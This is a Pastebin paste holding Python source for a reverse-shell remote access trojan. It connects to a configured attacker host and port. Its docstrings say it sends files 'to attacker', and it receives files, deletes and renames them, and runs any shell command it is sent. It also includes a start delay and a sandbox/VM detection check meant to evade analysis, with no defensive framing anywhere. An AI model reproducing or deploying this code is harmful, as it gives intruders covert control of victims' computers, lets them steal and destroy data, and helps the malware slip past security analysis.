Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- import socket
- import subprocess
- import os
- import shutil
- import shlex
- import platform
- import time, random
- time.sleep(random.randint(3, 10))
- REMOTE_HOST = '127.0.0.1'
- REMOTE_PORT = 4444
- def handle_file_upload(client, file_name):
- """Handle file upload to attacker with space support"""
- file_name = file_name.strip('"')
- try:
- if not os.path.exists(file_name):
- client.send(b"ERROR File not found")
- return
- file_size = os.path.getsize(file_name)
- client.send(f"READY {file_size}".encode())
- ack = client.recv(1024)
- if ack == b"READY":
- with open(file_name, 'rb') as f:
- client.sendall(f.read())
- print(f"[+] File {file_name} sent to attacker")
- except Exception as e:
- print(f"[-] Error handling file upload: {e}")
- def handle_file_download(client, command):
- """Handle file download from attacker with space support"""
- try:
- parts = shlex.split(command.decode())
- if len(parts) < 3:
- client.send(b"ERROR Invalid download command")
- return
- file_name = parts[1]
- file_size = int(parts[2])
- client.send(b"READY")
- received_data = b''
- while len(received_data) < file_size:
- chunk = client.recv(min(4096, file_size - len(received_data)))
- if not chunk:
- break
- received_data += chunk
- with open(file_name, 'wb') as f:
- f.write(received_data)
- print(f"[+] File {file_name} received from attacker")
- except Exception as e:
- print(f"[-] Error handling file download: {e}")
- def get_current_directory():
- """Get current working directory"""
- return os.getcwd()
- def list_directory():
- """List contents of current directory"""
- try:
- if os.name == 'nt':
- result = subprocess.check_output('dir', shell=True, stderr=subprocess.STDOUT)
- else:
- result = subprocess.check_output('ls -la', shell=True, stderr=subprocess.STDOUT)
- return result.decode()
- except subprocess.CalledProcessError as e:
- return e.output.decode()
- def change_directory(path):
- """Change working directory with space support"""
- path = path.strip('"')
- try:
- os.chdir(path)
- return f"[+] Changed directory to: {os.getcwd()}"
- except Exception as e:
- return f"[-] Error changing directory: {e}"
- def delete_file(path):
- """Delete file or directory with space support"""
- path = path.strip('"')
- try:
- if os.path.isfile(path):
- os.remove(path)
- return f"[+] File {path} deleted successfully"
- elif os.path.isdir(path):
- shutil.rmtree(path)
- return f"[+] Directory {path} deleted successfully"
- else:
- return f"[-] Path {path} not found"
- except Exception as e:
- return f"[-] Error deleting {path}: {e}"
- def rename_file(old_name, new_name):
- """Rename file or directory with space support"""
- old_name = old_name.strip('"')
- new_name = new_name.strip('"')
- try:
- os.rename(old_name, new_name)
- return f"[+] Renamed {old_name} to {new_name}"
- except Exception as e:
- return f"[-] Error renaming {old_name} to {new_name}: {e}"
- def main():
- client = socket.socket()
- print("[-] Connection Initiating...")
- client.connect((REMOTE_HOST, REMOTE_PORT))
- print("[-] Connection initiated!")
- while True:
- print("[-] Awaiting commands...")
- command = client.recv(1024)
- if command.startswith(b'UPLOAD '):
- file_name = shlex.split(command.decode())[1]
- handle_file_upload(client, file_name)
- continue
- if command.startswith(b'DOWNLOAD '):
- handle_file_download(client, command)
- continue
- if command == b'LS':
- listing = list_directory()
- client.send(listing.encode())
- continue
- if command == b'PWD':
- current_dir = get_current_directory()
- client.send(current_dir.encode())
- continue
- if command.startswith(b'CD '):
- path = shlex.split(command.decode())[1]
- result = change_directory(path)
- client.send(result.encode())
- continue
- if command.startswith(b'DEL '):
- path = shlex.split(command.decode())[1]
- result = delete_file(path)
- client.send(result.encode())
- continue
- if command.startswith(b'REN '):
- parts = shlex.split(command.decode())[1:]
- if len(parts) == 2:
- result = rename_file(parts[0], parts[1])
- client.send(result.encode())
- else:
- client.send(b"Usage: ren \"old name\" \"new name\"")
- continue
- command = command.decode()
- op = subprocess.Popen(command, shell=True, stderr=subprocess.PIPE, stdout=subprocess.PIPE)
- output = op.stdout.read()
- output_error = op.stderr.read()
- print("[-] Sending response...")
- client.send(output + output_error)
- if __name__ == '__main__':
- # Add sandbox/virtual machine detection
- def is_sandboxed():
- checks = [
- os.getenv("TEMP") == r"C:\WINDOWS\Temp",
- len(os.getenv("USERNAME")) < 3,
- platform.machine() == "VMWARE"
- ]
- return any(checks)
- if is_sandboxed():
- print("System not supported")
- sys.exit(0)
- else:
- while True:
- try:
- main()
- except Exception as e:
- print(f'{Exception} Occured !!!')
- time.sleep(1)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement